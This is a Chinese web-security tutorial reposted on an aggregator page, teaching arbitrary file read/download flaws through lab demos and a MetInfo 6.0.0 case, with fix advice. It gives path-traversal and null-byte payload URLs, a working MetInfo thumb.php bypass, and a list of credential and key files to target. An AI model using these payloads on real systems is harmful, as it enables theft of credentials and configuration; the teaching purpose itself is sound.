1. 程式人生 > >[紅日安全]Web安全Day9 - 檔案下載漏洞實戰攻防

[紅日安全]Web安全Day9 - 檔案下載漏洞實戰攻防

本文由紅日安全成員: Once 編寫,如有不當,還望斧正。

大家好,我們是紅日安全-Web安全攻防小組。此專案是關於Web安全的系列文章分享,還包含一個HTB靶場供大家練習,我們給這個專案起了一個名字叫 Web安全實戰 ,希望對想要學習Web安全的朋友們有所幫助。每一篇文章都是於基於漏洞簡介-漏洞原理-漏洞危害-測試方法(手工測試,工具測試)-靶場測試(分為PHP靶場、JAVA靶場、Python靶場基本上三種靶場全部涵蓋)-實戰演練(主要選擇相應CMS或者是Vulnhub進行實戰演練),如果對大家有幫助請Star鼓勵我們創作更好文章。如果你願意加入我們,一起完善這個專案,歡迎通過郵件形式([email protected])聯絡我們。

1.1 任意檔案讀取下載漏洞簡介

一些網站由於業務需求,可能提供檔案檢視或下載功能。如果對使用者檢視或下載的檔案不做限制,則惡意使用者能夠檢視或下載任意檔案,可以是原始碼檔案、敏感檔案等。

1.2 任意檔案讀取下載漏洞危害

攻擊者可以讀取下載伺服器中的配置檔案、敏感檔案等,會提供攻擊者更多可用資訊,提高被入侵的風險。

1.3 任意檔案讀取下載漏洞利用條件

  1. 存在讀檔案的函式
  2. 讀取檔案的路徑使用者可控且未校驗或校驗不嚴
  3. 輸出了檔案內容
  4. 任意檔案讀取下載漏洞測試
    ## 2.1測試思路
  5. 尋找讀取或下載檔案的功能點,跳躍目錄獲取敏感檔案
  6. 有的限制目錄不嚴格,只對部分目錄限制,可以嘗試用其他敏感檔案路徑,常見敏感檔案路徑如下:
    Windows:
    C:\boot.ini  //檢視系統版本
    C:\Windows\System32\inetsrv\MetaBase.xml  //IIS配置檔案
    C:\Windows\repair\sam  //儲存系統初次安裝的密碼
    C:\Program Files\mysql\my.ini  //Mysql配置
    C:\Program Files\mysql\data\mysql\user.MYD  //Mysql root
    C:\Windows\php.ini  //php配置資訊
    C:\Windows\my.ini  //Mysql配置資訊
    ...
    Linux:
    /root/.ssh/authorized_keys
    /root/.ssh/id_rsa
    /root/.ssh/id_ras.keystore
    /root/.ssh/known_hosts
    /etc/passwd
    /etc/shadow
    /etc/my.cnf
    /etc/httpd/conf/httpd.conf
    /root/.bash_history
    /root/.mysql_history
    /proc/self/fd/fd[0-9]*(檔案識別符號)
    /proc/mounts
    /porc/config.gz

2.2 靶機測試

這裡我們使用web for pentester進行測試

2.2.1 安裝步驟

下載地址:https://download.vulnhub.com/pentesterlab/web_for_pentester_i386.iso
我們只需要VMware安裝映象檔案即可使用
新建虛擬機器

預設下一步

選擇映象檔案

設定虛擬機器名稱和存放位置

磁碟大小預設即可

開啟此虛擬機器

檢視ip地址

搭建成功,這裡用Directory traversal做演示

2.2.2 Example 1

從程式碼裡看出未作限制,直接讀取檔案

$UploadDir = '/var/www/files/'; 

if (!(isset($_GET['file'])))
    die();


$file = $_GET['file'];

$path = $UploadDir . $file;

if (!is_file($path))
    die();

header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Cache-Control: public');
header('Content-Disposition: inline; filename="' . basename($path) . '";');
header('Content-Transfer-Encoding: binary');
header('Content-Length: ' . filesize($path));

$handle = fopen($path, 'rb');

do {
$data = fread($handle, 8192);
if (strlen($data) == 0) {
break;
}
echo($data);
} while (true);

fclose($handle);
exit();

使用../來跳躍目錄讀取敏感檔案,我們這裡讀取passwd檔案
http://192.168.163.141/dirtrav/example1.php?file=../../../etc/passwd

2.2.3 Example 2

從程式碼裡可以看出,路徑必須存在/var/www/files/

if (!(isset($_GET['file'])))
    die();


$file = $_GET['file'];

if (!(strstr($file,"/var/www/files/")))
    die();

if (!is_file($file))
    die();

header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Cache-Control: public');
header('Content-Disposition: inline; filename="' . basename($file) . '";');
header('Content-Transfer-Encoding: binary');
header('Content-Length: ' . filesize($file));

$handle = fopen($file, 'rb');

do {
$data = fread($handle, 8192);
if (strlen($data) == 0) {
break;
}
echo($data);
} while (true);

fclose($handle);
exit();

http://192.168.163.141/dirtrav/example2.php?file=/var/www/files/../../../etc/passwd

2.2.4 Example 3

從程式碼可以看出過濾空字元及以後的字元。

$UploadDir = '/var/www/files/'; 

if (!(isset($_GET['file'])))
    die();


$file = $_GET['file'];

$path = $UploadDir . $file.".png";
// Simulate null-byte issue that used to be in filesystem related functions in PHP
$path = preg_replace('/\x00.*/',"",$path);

if (!is_file($path))
    die();

header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Cache-Control: public');
header('Content-Disposition: inline; filename="' . basename($path) . '";');
header('Content-Transfer-Encoding: binary');
header('Content-Length: ' . filesize($path));

$handle = fopen($path, 'rb');

do {
$data = fread($handle, 8192);
if (strlen($data) == 0) {
break;
}
echo($data);
} while (true);

fclose($handle);
exit();

http://192.168.163.141/dirtrav/example3.php?file=../../../etc/passwd%00

2.3 CMS實戰演練

這裡選的是MetInfo cms進行任意檔案讀取漏洞演示

2.3.1 安裝步驟

下載地址:https://www.metinfo.cn/upload/file/MetInfo6.0.0.zip
漏洞環境:phpstudy、windows
存在漏洞:任意檔案讀取
解壓好後,下一步下一步的安裝,配置資料庫、管理員資訊。


安裝完成

2.3.2 利用過程

漏洞點在:MetInfo6.0.0/include/thumb.php?dir=
漏洞程式碼檔案位置:MetInfo6.0.0\app\system\include\module\old_thumb.class.php
有兩次過濾,第一次把路徑中../、./進行過濾,第二次路徑中需要有http和不能存在./,

$dir = str_replace(array('../','./'), '', $_GET['dir']);


if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false){
    header("Content-type: image/jpeg");
    ob_start();
    readfile($dir);
    ob_flush();
    flush();
    die;
}

在windows環境下可以使用..\進行繞過
http://127.0.0.1/MetInfo6.0.0/include/thumb.php?dir=http\..\..\config\config_db.php

 

  1. 漏洞修復方案

1、對./、../、、..\%進行過濾
2、嚴格控制可讀取或下載的檔案路徑

  1. 參考文章

https://www.jianshu.com/p/f4b06f59c4cb
https://www.freebuf.com/vuls/181698.html

相關推薦

[紅日安全]Web安全Day9 - 檔案下載漏洞實戰攻防

本文由紅日安全成員: Once 編寫,如有不當,還望斧正。 大家好,我們是紅日安全-Web安全攻防小組。此專案是關於Web安全的系列文章分享,還包含一個HTB靶場供大家練習,我們給這個專案起了一個名字叫 Web安全實戰 ,希望對想要學習Web安全的朋友們有所幫助。每一篇文章都是於基於漏洞簡

web安全(7)-- 檔案下載漏洞

1.1 漏洞描述     一些網站由於業務需求,可能提供檔案檢視或下載的功能,如果對使用者檢視或下載的檔案不做限制,則惡意使用者就能夠檢視或下載任意的檔案,可以是原始碼檔案、敏感檔案等。 1.2 漏洞危害    &nb

[紅日安全]Web安全Day3 - CSRF實戰攻防

本文由紅日安全成員: Once 編寫,如有不當,還望斧正。 大家好,我們是紅日安全-Web安全攻防小組。此專案是關於Web安全的系列文章分享,還包含一個HTB靶場供大家練習,我們給這個專案起了一個名字叫 Web安全實戰 ,希望對想要學習Web安全的朋友們有所幫助。每一篇文章都是於基於漏洞簡

【程式碼審計】CLTPHP_v5.5.3後臺任意檔案下載漏洞分析

  0x00 環境準備 CLTPHP官網:http://www.cltphp.com 網站原始碼版本:CLTPHP內容管理系統5.5.3版本 程式原始碼下載:https://gitee.com/chichu/cltphp 預設後臺地址: http://127.0.0.1/admin/log

【程式碼審計】EasySNS_V1.6 前臺任意檔案下載漏洞分析

  0x00 環境準備 EasySNS官網:http://www.imzaker.com/ 網站原始碼版本:EasySNS極簡社群V1.60 程式原始碼下載:http://es.imzaker.com/index.php/Topic/gview/id/92.html 預設後臺地址:http

【程式碼審計】XYHCMS V3.5任意檔案下載漏洞分析

  0x00 環境準備 XYHCMS官網:http://www.xyhcms.com/ 網站原始碼版本:XYHCMS V3.5(2017-12-04 更新) 程式原始碼下載:http://www.xyhcms.com/Show/downl

aiohttp web方式提供檔案下載服務

python3.6使用了aiohttp, aiofiles庫,非同步操作服務端程式碼如下,啟動服務後,預設監聽0.0.0.0:8080沒有做任何異常處理,適用於小檔案,僅供參考 file_server.py: import aiofiles import asyncio import os from ai

WEB 中的檔案下載

在 WEB 開發中,我們會期望使用者在點選某個連結的時候,下載一個檔案(不管這個檔案能不能被瀏覽器解析,都要下載)。以前接觸過一種方式,就是在響應 header 中設定 force-download : 12 Content-Type: application/fo

java web Servlet--實現檔案下載功能

先上一段原始碼,這一段檔案下載,是在 Servlet 上面實現的。package util; import java.io.File; import java.io.FileInputStream; import java.io.IOException; import j

任意檔案下載漏洞的介面URL構造分析與討論

# 檔案下載介面的URL構造分析與討論 ## 某學院的檔案下載介面 `http://www.****.edu.cn/item/filedown.asp?id=76749&Ext=rar&fname=filedown.rar` 引數分析: - `id` 資源的id - `Ext` 資源的檔案下載格式 -

Web安全_檔案上傳漏洞_DVWA上傳shell+中國菜刀管理檔案

遠端登陸靶機: 開啟kali命令列 ssh 賬號@地址 輸入密碼 成功連線 這時就可以輸入命令對靶機進行操作,如檢視、刪除檔案、進入目錄等等 如這裡進入靶機裡DVWA上傳檔案目錄處檢視所上傳的檔案: 可以檢視到有四個檔案,可以進行刪除(這裡刪除php字尾的檔

web安全(6)-- 檔案上傳漏洞

1.1 漏洞描述     上傳漏洞這個顧名思義,就是攻擊者通過上傳木馬檔案,直接得到WEBSHELL,危害等級超級高,現在的入侵中上傳漏洞也是常見的漏洞。     導致該漏洞的原因在於程式碼作者沒有對訪客提交的資

web安全檔案上傳漏洞攻擊與防範方法

一、 檔案上傳漏洞與WebShell的關係 檔案上傳漏洞是指網路攻擊者上傳了一個可執行的檔案到伺服器並執行。這裡上傳的檔案可以是木馬,病毒,惡意指令碼或者WebShell等。這種攻擊方式是最為直接和有效的,部分檔案上傳漏洞的利用技術門檻非常的低,對於攻擊者來說很容易實施。 檔案上傳漏洞本身就是一

GO語言Beego框架之WEB安全小系統(5)跨目錄上傳檔案漏洞

跨目錄上傳檔案漏洞 攻擊原理 絕對路徑名或者相對路徑名中可能會包含檔案連結(例如:軟連結、硬連結、快捷方式、影子檔案、別名等),或者包含特殊字元(例如:.與..),這使得驗證檔案路徑變得困難;同時還有很多作業系統和檔案系統相關的命名約定,也增加了驗證檔案路

web安全/滲透測試--42--檔案上傳漏洞

1、漏洞描述: 檔案上傳漏洞,直面意思可以利用WEB上傳一些特定的檔案。一般情況下檔案上傳漏洞是指使用者上傳了一個可執行的指令碼檔案,並通過此指令碼檔案獲得了執行伺服器端命令的能力。檔案上傳本身是web中最為常見的一種功能需求,關鍵是檔案上傳之後伺服器端的處理、

WEB安全系列之如何挖掘任意檔案讀取漏洞

$fp="../template/".$siteskin."/area_show.htm"; $f = fopen($fp,'r'); $strout = fread($f,filesize($fp)); fclose($f); $strout=str_replace("{#siteskin}",$site

web安全————PHP安全檔案包含漏洞

    PHP安全問題     PHP由於靈活的語法成為目前非常流行的WEB開發語言,應用非常廣泛。也是由於這個特點讓PHP給安全工作帶來了一些困擾。下面討論PHP自身的語言問題。     檔案包含漏洞:     檔案包含漏洞也是程式碼注入的一種,程式碼注入的原理是注入一段

web安全(6)-- 任意檔案上傳漏洞

1.1 漏洞描述     上傳漏洞這個顧名思義,就是攻擊者通過上傳木馬檔案,直接得到WEBSHELL,危害等級超級高,現在的入侵中上傳漏洞也是常見的漏洞。     導致該漏洞的原因在於程式碼作者沒有對

[Web安全] XXE漏洞攻防學習(中)

div ESS passwd rem __name__ uri header requests 情況下 0x00、XXE漏洞攻擊實例 攻擊思路: 1. 引用外部實體遠程文件讀取 2. Blind XXE 3. Dos 0x01、外部實體引用,有回顯 實驗操作平臺:bWA

20155236範晨歌免考項目:web安全漏洞利用

以及 程序 pin href pst 虛擬 php arm .html PHP和PHPinfo的簡單介紹 https://www.cnblogs.com/fcgfcgfcg/p/9234978.html 通過CSRF漏洞加深理解 https://www.cnblogs.